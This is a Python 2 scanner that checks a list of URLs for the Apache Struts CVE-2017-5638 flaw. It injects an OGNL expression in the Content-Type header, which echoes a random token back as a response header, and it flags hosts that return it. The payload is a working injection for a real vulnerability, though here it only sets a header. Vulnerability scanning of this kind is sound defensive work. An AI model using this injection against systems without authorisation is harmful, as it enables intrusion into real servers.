<filename>struts-shock-validation.py

'''
Created on 12 Mar 2017
@author: Jr.Rombaldo
'''
# import urllib2
# from urllib2 import URLError, HTTPError
from random import randint
import sys
import requests
from requests import exceptions
import threading
import datetime
import time
import os




# CUSTOMIZATION
_timeout_read = 7
_timeout_connect = 15
_chunk_size = 250
_header_name = 'STRUTS2-VALIDATION'
_user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36'




# ASCII terminal colours
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'


# disable SSL messages: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised.
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    


class Validation (object):
    
    def __init__(self, line_len, result, app_list, thread_id):
        self.line_len = line_len
        self.app_list= app_list
        self.result = result
        self.id = thread_id 
        if thread_id < 0: #program it not threaded
            self.threaded = False
        else:
            self.threaded = True
        
    def write(self, line):
        if self.threaded:
            with open(self.result, 'a') as f:
                f.write(line)
                f.write('\n')
            f.close()
        else:
            print line
            
        
    
    def printError(self, exp, msg, app, has_incap, code):
        if type(exp) == exceptions.SSLError:
            error = str(exp)
        if type(exp) == Exception:
            error = str(exp)
            print self.id
            print error
        else:
            error = exp.__class__.__name__
            
        line  = (WARNING+('%-14s' % ('[{0}] '))+ENDC).format(msg)
        line += ('%-' + str(self.line_len - 1) + 's  %-6s') % (app, code)
        if has_incap: line += OKBLUE+has_incap+ENDC+' '
        line += error
        self.write(line)

        
        
        
    def validate(self):
        for app in self.app_list:
             if not str(app).startswith("#") and len(app) > 3:
                
    #           https://blog.qualys.com/laws-of-vulnerabilities/2017/03/11/apache-struts-jakarta-qid-11771-for-detecting-cve-2017-5638
                token = randint(1<PASSWORD>, 9<PASSWORD>)
                payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('" + _header_name + "', " + str(token) + ")}.multipart/form-data"
            
                status_code = has_incap = ''
                vulnerable = False
                try:
                    headers = {'User-Agent': _user_agent, 'Content-Type': payload}
                    response = requests.get(url=app, headers=headers, params={}, allow_redirects=False, timeout=(_timeout_read, _timeout_connect), verify=False)
                    status_code = response.status_code
                    url = response.url
                    body = response.text
                    
                    # grabbing Incapsula header
                    if str(response.headers).lower().find("incap") > -1: has_incap = '[INCAPSULA]'
                   
                    # grabbing returned toke
                    token_received = response.headers.get(_header_name)
                    str_header = 'Injected:{0} Received:{1}'.format(token, token_received)
                    
                    # is the inject header present on response?
                    if str(token) == token_received:   
                        vulnerable = True
                        
                    
                    line = ''
                    if  vulnerable:
                        line  = FAIL+(' %-14s' % ('[VULNERABLE] '))+ENDC
                    else:
                        line  = OKGREEN+(' %-14s' % ('[SECURE] '))+ENDC
                    
                    line += ('%-' + str(self.line_len - 1) + 's  %-6s') % (app, status_code)
                        
                    if has_incap: 
                        line += OKBLUE+has_incap+ENDC+' '
                    line += str_header
                    
                    self.write(line)
                                    
            #     http://docs.python-requests.org/en/master/_modules/requests/exceptions/
            #     http://docs.python-requests.org/en/master/api/#exceptions
                except exceptions.ProxyError as exp:
                    self.printError(exp, 'TIMED_OUT', app, has_incap, status_code)
                    
                except exceptions.SSLError as exp:
                    self.printError(exp, 'SSL_ERR', app, has_incap, status_code)
                    
                except (exceptions.Timeout , exceptions.ConnectTimeout , exceptions.ReadTimeout) as exp:
                    self.printError(exp, 'TIMED_OUT', app, has_incap, status_code)
                     
                except (exceptions.URLRequired , exceptions.MissingSchema , exceptions.InvalidSchema, exceptions.InvalidURL) as exp:
                    self.printError(exp, 'INVALID_URL', app, has_incap, status_code)
                    
                except exceptions.ConnectionError as exp:
                    self.printError(exp, 'CONNECT_ERR', app, has_incap, status_code)
            
                except exceptions.RequestException as exp:
                    self.printError(exp, 'REQ_ERR', app, has_incap, status_code)
                    
                except Exception as exp:
                    self.printError(exp, 'GENERIC_ERR', app, has_incap, status_code)
                
                    
        if self.threaded:
            print  'thread-{0} is finished!'.format( self.id)
        else:
            print  'execution finished!'
      
    
    
        
def chunks(l, n):
    for i in range(0, len(l), n):
        yield l[i:i + n]  # #
       
                
        
        
def MyThread (i, d, line_size, app_list):
    result = '{0}/thread-{1}.txt'.format(d, i)
    print 'thread-{0} is running ...'.format( i)
    val = Validation(line_size, result, app_list, i) 
    val.validate()
       
        
        
        
if __name__ == '__main__':
    
    if len(sys.argv) < 2:
        print "usage: ", sys.argv[0], "application_list_file"
        exit(1)
    
    
    print '\r\n\r\n', HEADER
    print '\t\t######################################################'
    print '\t\t######### CVE-2017-5638 - STRUTS2 Validation #########'
    print '\t\t######################################################', ENDC
    print '\r\n'
    


    # reading apps
    apps_file = sys.argv[1]
    with open(apps_file) as f:
        app_list = f.read().splitlines()
        
        # capturing the max url len to adjust the line sizes
        line_size = 0
        for app in app_list:
            if not str(app).startswith("#") and len(app) > 3:
                if len(app) > line_size: 
                    line_size = len(app)
        
        
    
        # activating multi-thread approach
        if (len(sys.argv) >= 3 and sys.argv[2] == "thread"):
            
             # creating the directory  
            dt = datetime.datetime.now().strftime("%Y-%m-%d_%H-%M-%S")
            d = 'results/' + dt
            if not os.path.exists(d):
                os.makedirs(d)
         
            # chubking and crating threads  
            print 'Startin threads, when the program finishes, run the following to consolidate results: \n\n\tcat ' + d + '* > results/' + dt + '.txt\n'
          
            chunks = list(chunks(app_list, _chunk_size))
            i =1
            threads = []
            for chunk in chunks:
                t = threading.Thread(target=MyThread, args=(i, d, line_size, chunk))
                t.daemon = True
                threads.append(t)
                t.start()
                i += 1
            
#             program does not quit on CTRL+C
#             for t2 in threads:
#                 t2.join()
            
#             program will wait for all threads to finish before finish. Required for CTRL+C ability
            while True:
                time.sleep(1)
                stop = True
                for t2 in threads:
                    if  t2.isAlive():
                        stop = False;
                if stop == True:
                    import fileinput
                    import glob

                    file_list = glob.glob(d+"/*.txt")
        
                    with open(d+'.txt', 'w') as file:
                        input_lines = fileinput.input(file_list)
                        file.writelines(input_lines)
                    exit(0) 

        else:
            val = Validation(line_size, '', app_list, -1)
            val.validate()
        
        
